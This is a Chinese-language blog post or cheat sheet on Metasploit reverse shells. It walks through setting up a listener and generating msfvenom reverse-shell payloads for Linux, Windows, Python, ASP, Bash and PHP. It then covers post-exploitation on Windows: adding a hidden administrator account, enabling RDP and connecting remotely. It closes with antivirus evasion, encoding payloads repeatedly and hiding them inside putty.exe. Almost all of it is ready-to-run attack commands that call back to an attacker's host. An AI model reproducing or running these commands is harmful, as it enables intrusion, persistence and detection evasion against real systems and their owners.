反弹meterpreter方法

Posted 2023-04-25 wutiangui

启动 msfconsole

msfconsole下依次执行如下命令
[use exploit/multi/handler]
[set payload windows/meterpreter/reverse_tcp]

//192.168.25.128是攻击机IP
[set LHOST 192.168.25.128]
[set LPORT 1234]
[run] 开始监听即可
靶机执行shell.exe即可反弹meterprete

Msf小结

Msfvenom是有效负载生成和编码的组合。

生成攻击载荷

Linux下反弹Meterpreter shell

1	msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=<your port to connect on> -e -f elf -a x86 --platform linux -o shell

C反弹shell

1	msfvenom -p windows/shell_reverse_tcp LHOST=<your IP Address> LPORT=<your port to connect on> -b "\x00\x0a\x0d" -a x86 --platform win -f c

Python反弹shell

1	msfvenom -p cmd/unix/reverse_python LHOST=<your IP Address> LPORT=<your port to connect on> -o shell.py

Asp反弹shell

1	msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

Bash反弹shell

1	msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

PHP反弹shell

1	msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell.php

Windows反弹shell

1	msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

64位系统要加x64

1	msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

Windows提权

第一步生成Windows攻击载荷

1	msfvenom -p windows/meterpreter/reverse_tcp lhost=本机IP -f exe >/home/shell.exe

第二步MSF监听

1 2 3 4 5 6

use exploit/multi/handler //设置模块 set payload windows/meterpreter/reverse_tcp //配置payload show options //显示选项 set LHOST 本机IP //设置ip地址，注意，这个要与上面攻击载荷里面的相同 set LPORT 端口 //设置端口，这个也要相同 exploit //执行攻击

第三步提权

1 2 3 4 5 6 7

shell //进入终端 net user //查看用户 net user admin admin /add //创建一个admin用户 net localgroup administrators admin /add //提权 net user admin //admin用户的信息 exit //退出bash终端 run getgui -e //开启3389端口

第四步开启远程连接

1 2 3 4

开启远程桌面 run post/windows/manage/enable_rdp 连接 rdesktop -u 用户名 -p 密码

免杀

多次编码免杀

1	msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -f exe -o /var/www/html/reverse_http_encode.exe

自定义二进制代码的文件模板免杀

1	msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -x ~/putty.exe